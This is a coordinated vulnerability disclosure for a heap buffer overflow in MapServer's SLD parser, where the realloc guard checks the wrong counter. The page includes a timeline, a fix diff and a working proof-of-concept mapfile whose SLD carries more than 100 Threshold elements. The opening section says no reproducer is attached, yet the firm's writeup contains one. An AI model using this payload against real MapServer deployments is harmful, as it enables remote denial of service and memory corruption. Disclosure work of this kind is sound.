ANT-2026-9SZMPW41 · MapServer
heap-buffer-overflow medium
Severity Claude medium · Security research firm medium · Maintainer unknown
Discovered by Claude Mythos Preview
Anthropic's analysis, sealed at approval. Disclosure to the maintainer was performed by Trail of Bits.
ANT-2026-9SZMPW41: Heap buffer overflow in SLD categorize threshold parsing due to wrong counter variable in reallocation guard
While parsing Threshold entries in an SLD Categorize expression, the code grows a heap array to hold parsed thresholds, but the bounds check guarding the realloc uses the wrong counter variable. As a result the buffer is not enlarged when it should be, and subsequent threshold entries are written past the end of the allocation. An attacker who can supply an SLD document with many Threshold elements can trigger an out-of-bounds heap write.
Target
Project: MapServer
Discovery: static analysis — not yet dynamically reproduced
Technical Details
The reallocation guard compares against a different counter than the one actually used to index/increment into the thresholds array, so the realloc branch is never (or not correctly) taken as thresholds accumulate. Writes then proceed past the allocated heap block. No ASAN output was provided in the report.
Reproduction
This finding was identified by static analysis and has not yet been dynamically reproduced. The Technical Details section above describes the code path; a trigger input is not included.
[No reproducer or sanitizer output attached — request from cvd@anthropic.com if needed.]
Acknowledgement
This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by the Anthropic security team in collaboration with Anthropic Research. Please direct questions to security-cvd@anthropic.com and reference ANT-2026-9SZMPW41.
Reference: ANT-2026-9SZMPW41
Anthropic CVD Policy: https://anthropic.com/security/cvd-policy
Triage and disclosure were performed by Trail of Bits. The writeup below is the document the firm sent to the maintainer.
- Verdict
- true positive
- Severity
- medium
Summary
A heap-buffer-overflow write in MapServer’s SLD (Styled Layer Descriptor) parser lets a remote, unauthenticated attacker crash the MapServer process by sending a crafted SLD with more than 100 Threshold elements inside a ColorMap/ Categorize structure (commonly reachable via WMS GetMap with SLD_BODY).
Details
MapServer’s SLD parser in msSLDParseRasterSymbolizer (src/mapogcsld.cpp, around the Categorize parsing logic) allocates papszThresholds for 100 entries (nMaxThreshold = 100) and appends one char* per element while incrementing nThresholds, but the growth check mistakenly tests nValues == nMaxThreshold (where nValues counts nodes) instead of nThresholds == nMaxThreshold; when an SLD ColorMap/Categorize contains more than 100 elements, the code keeps writing past the end of the heap-allocated pointer array (an out-of-bounds 8-byte pointer write per extra element), leading to an ASAN heap-buffer-overflow and typically a remote crash/denial-of-service when attacker-controlled SLD is parsed (for example via WMS GetMap with SLD_BODY, depending on deployment configuration).
PoC
MAP
NAME "x"
CONFIG "MS_ERRORFILE" "/tmp/evilsld.xml"
OUTPUTFORMAT
NAME "<StyledLayerDescriptor><NamedLayer><Name>x</Name><UserStyle><FeatureTypeStyle><Rule><RasterSymbolizer><ColorMap><Categorize><Value>aaaaaaaaaaaa</Value><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>"
DRIVER "AGG/PNG"
IMAGEMODE RGB
TRANSPARENT ON
END
OUTPUTFORMAT
NAME "</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold></Categorize></ColorMap></RasterSymbolizer></Rule></FeatureTypeStyle></UserStyle></NamedLayer></StyledLayerDescriptor>"
DRIVER "AGG/PNG"
IMAGEMODE RGB
TRANSPARENT ON
END
CONFIG "MS_ERRORFILE" "stderr"
LAYER
NAME "test"
TYPE POINT
STYLEITEM "sld:///tmp/evilsld.xml"
END
END
Reproduce with
export OSS_FUZZ_DIR="$HOME/src/oss-fuzz"
git clone https://github.com/google/oss-fuzz.git "$OSS_FUZZ_DIR"
cd "$OSS_FUZZ_DIR"
python3 infra/helper.py build_fuzzers --sanitizer address mapserver
python3 infra/helper.py reproduce mapserver mapfuzzer poc.bin
Fix (idea)
--- a/src/mapogcsld.cpp
+++ b/src/mapogcsld.cpp
@@ -2894,7 +2894,7 @@
} else if (strcasecmp(psNode->pszValue, "Threshold") == 0) {
papszThresholds[nThresholds] = psNode->psChild->pszValue;
nThresholds++;
- if (nValues == nMaxThreshold) {
+ if (nThresholds == nMaxThreshold) {
nMaxThreshold += 100;
papszThresholds = (char **)msSmallRealloc(
papszThresholds, sizeof(char *) * nMaxThreshold);
Impact
Memory corruption (heap out-of-bounds write in a pointer array). Deployments that parse attacker-controlled SLD (commonly WMS users if SLD_BODY is accepted/enabled).
Background
Anthropic is conducting research into the use of large language models for automated vulnerability discovery in open source software. As part of that work, Anthropic used Claude to scan a set of widely used open source projects for security issues. Anthropic then engaged Trail of Bits to independently triage, manually validate, and develop patches for the findings. This issue has been reviewed and confirmed by human security researchers at Trail of Bits.
Dates from discovery through public reveal.
- 2026-03-29 Reported to tracker
- 2026-05-07 Sent to maintainer
- 2026-05-07 Patch released
- 2026-05-07 Maintainer acknowledged
- 2026-05-20 Publicly revealed
SHA-3-512 hash:
5623c6557ab0c7f772e18cc200aa77f720d757b39fdf25608bd142d507d38e19a70d8b584699cf63f0c46952a935a92275ba856109d79d2505f0cbc059aab77f
Committed 2026-05-07 00:01 PT
Revealed 2026-05-20 00:40 PT
Verify (download preimage.json)
Show preimage JSON
{
"ant_id": "ANT-2026-9SZMPW41",
"bug_class": "Heap Buffer Overflow",
"claude_severity": "medium",
"commit_sha": null,
"created_at": "2026-03-29T20:43:18+00:00",
"description": "While parsing Threshold entries in an SLD Categorize expression, the code grows a heap array to hold parsed thresholds, but the bounds check guarding the realloc uses the wrong counter variable. As a result the buffer is not enlarged when it should be, and subsequent threshold entries are written past the end of the allocation. An attacker who can supply an SLD document with many Threshold elements can trigger an out-of-bounds heap write.",
"discovered_at": null,
"location": null,
"poc_sha256": null,
"preimage_version": 1,
"project": "MapServer",
"reproduction": null,
"technical_details": "The reallocation guard compares against a different counter than the one actually used to index/increment into the thresholds array, so the realloc branch is never (or not correctly) taken as thresholds accumulate. Writes then proceed past the allocated heap block. No ASAN output was provided in the report.",
"title": "Heap buffer overflow in SLD categorize threshold parsing due to wrong counter variable in reallocation guard",
"vendor_severity": "medium"
}